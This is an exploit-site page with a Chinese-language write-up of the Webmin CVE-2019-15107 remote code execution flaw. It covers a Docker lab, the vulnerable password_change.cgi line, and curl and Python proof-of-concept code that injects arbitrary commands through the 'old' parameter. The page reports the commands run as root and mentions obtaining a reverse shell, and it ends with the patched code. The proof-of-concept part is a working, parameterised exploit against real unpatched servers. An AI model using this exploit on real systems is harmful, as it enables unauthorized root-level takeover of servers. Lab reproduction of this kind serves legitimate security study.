Sploitus

Exploit for CVE-2019-15107

kitploit · 2026-09-05

Exploit Code

MARKDOWN187 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JINI135WII-CVE-2019-15107
# 服务器管理工具 Webmin RCE 漏洞[CVE-2019-15107]

### 摘要

[CVE-2019-15107] 是 Unix 系统中使用的基于 Web 的系统管理工具 Webmin 中出现的漏洞。该管理工具的功能中,在修改密码的代码中,特定参数未经过滤直接传递给 Shell 命令执行,从而导致任意代码执行(Remote Code Execution, RCE)。

### 环境配置与漏洞条件

使用 Webmin 1.920 版本或 1.920 之前的版本时,在修改密码的 `password_change.cgi` 中发现了漏洞。Webmin 通过 SourceForge 分发过程中被注入了恶意代码,从而导致了该漏洞。

本次复现使用 vulhub 中采用的 webmin 1.910 版本。另外,由于只有在 Webmin 的 `passwd_mode=2` 时密码修改功能才被启用,因此请在 `passwd_mode=2` 状态下搭建环境。

准备好 1.910 版本的 Webmin 发行文件 `webmin_1.910_all.deb` 后,输入以下命令来构建漏洞环境:

root@kitploit:~
    
    
    docker compose up -d
    

> `Dockerfile` 和 `docker-entrypoint.sh` 文件参考了 vulhub 预先构建的格式,并根据本地文件进行了重新配置。

密码修改需要 `user`、`old`、`new1`、`new2` 等我们熟悉的参数。其中,存在一段直接执行 `old` 参数值的代码。

以下是 1.910 版本 `password_change.cgi` 文件的一部分。`qx/$in{'old'}/` 就是上述执行 `old` 值的代码。通过控制该值即可实现任意代码执行。

root@kitploit:~
    
    
    user@user:~/Documents/vulhub/webmin/CVE-2019-15107$ cat password_change.cgi | grep -C5 "\$in{'old'}"
    		die "Missing password file configuration";
    	}
    
    if ($wuser) {
    	# Update Webmin user's password
    	$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
    	$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
    	$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
    	$perr && &pass_error(&text('password_enewpass', $perr));
    	$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
    	$wuser->{'temppass'} = 0;
    	&acl::modify_user($wuser->{'name'}, $wuser);
    

### 复现步骤

访问 Webmin 的 password_change.cgi,通过操控 `old` 变量发送请求即可复现漏洞。

### PoC 代码

无论使用 curl 还是 python,只要能向 password_change.cgi 发送请求即可。三个示例均以在 `old` 中插入命令 `id` 来输出 uid 为目标。

  1. **curl(POST)**



root@kitploit:~
    
    
    curl -k -X POST https://your-ip:10000/password_change.cgi   -d "user=nonexistent&pam=&expired=2&old=**id**&new1=test&new2=test"   -H "Referer: https://your-ip:10000/session_login.cgi"    
    

  2. **curl(GET)**



root@kitploit:~
    
    
    curl -k "https://your-ip:10000/password_change.cgi?user=rootxx&pam=&expired=2&old=id&new1=test&new2=test" -H "Referer: https://your-ip:10000/session_login.cgi"
    

  3. **python**



root@kitploit:~
    
    
    import requests
    import sys
    import argparse
    
    def exploit_webmin(target, command):
        url = f"https://{target}/password_change.cgi"
        
        # 忽略 HTTPS 证书
        requests.packages.urllib3.disable_warnings()
        
        # CVE-2019-15107 payload
        # 在 old 参数中输入命令
        data = {
            'user': 'rootxx',
            'pam': '',
            'expired': '2',
            'old': command,  # 命令
            'new1': 'test2',
            'new2': 'test2'
        }
        headers = {
                'Referer': f'https://{target}/session_login.cgi',
                }
        
        try:
            response = requests.post(
                url, 
                data=data, 
                headers=headers,
                verify=False,
                timeout=5
            )
            
            if response.status_code == 200:
                print("[+] Exploit sent!")
                print("[+] Response:")
                print(response.text)
                return True
            else:
                print(f"[-] Status code: {response.status_code}")
                return False
                
        except Exception as e:
            print(f"[-] Error: {e}")
            return False
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description='CVE-2019-15107 Webmin RCE PoC')
        parser.add_argument('-t', '--target', required=True, help='Target IP:port (e.g., 127.0.0.1:10000)')
        parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')
        args = parser.parse_args()
        
        print(f"[*] Exploiting Webmin at {args.target}")
        print(f"[*] Command: {args.command}")
        
        exploit_webmin(args.target, args.command)
    

可以如下执行:

root@kitploit:~
    
    
    python3 PoC.py -t your-ip:10000 -c "id"
    

### 执行结果

![](https://assets.kitploit.com/production/public/readmes/27540/e9b80ded16dc7e3922085ddd5257a64de1bdb73f1276e8e173050733937ffd8d.png)

通过上述方式,在 `old` 参数中插入任意命令即可直接执行。从结果可以看到 uid 均为 0,即以 root 权限执行。

也就是说,该 [CVE-2019-15107] 漏洞可以以 root 权限执行 RCE。

进一步,如果另行准备反向 shell,就可以通过连接反向 shell 获取服务器的 shell。

漏洞复现完成后,可以通过以下代码停止服务:

root@kitploit:~
    
    
    docker compose down
    

### 应对措施

最简单的方法是更新 webmin。

以下是更新至 1.930 版本后变化的代码。处理方式是将执行 old 值的部分直接删除。

root@kitploit:~
    
    
    if ($wuser) {
    	# Update Webmin user's password
    	$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
    	$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
    	$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
    	$perr && &pass_error(&text('password_enewpass', $perr));
    	$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
    	$wuser->{'temppass'} = 0;
    	&acl::modify_user($wuser->{'name'}, $wuser);
    	&reload_miniserv();
    	}
    

如果需要保留代码执行部分,也可以通过插入验证 `old` 输入值的代码来解决。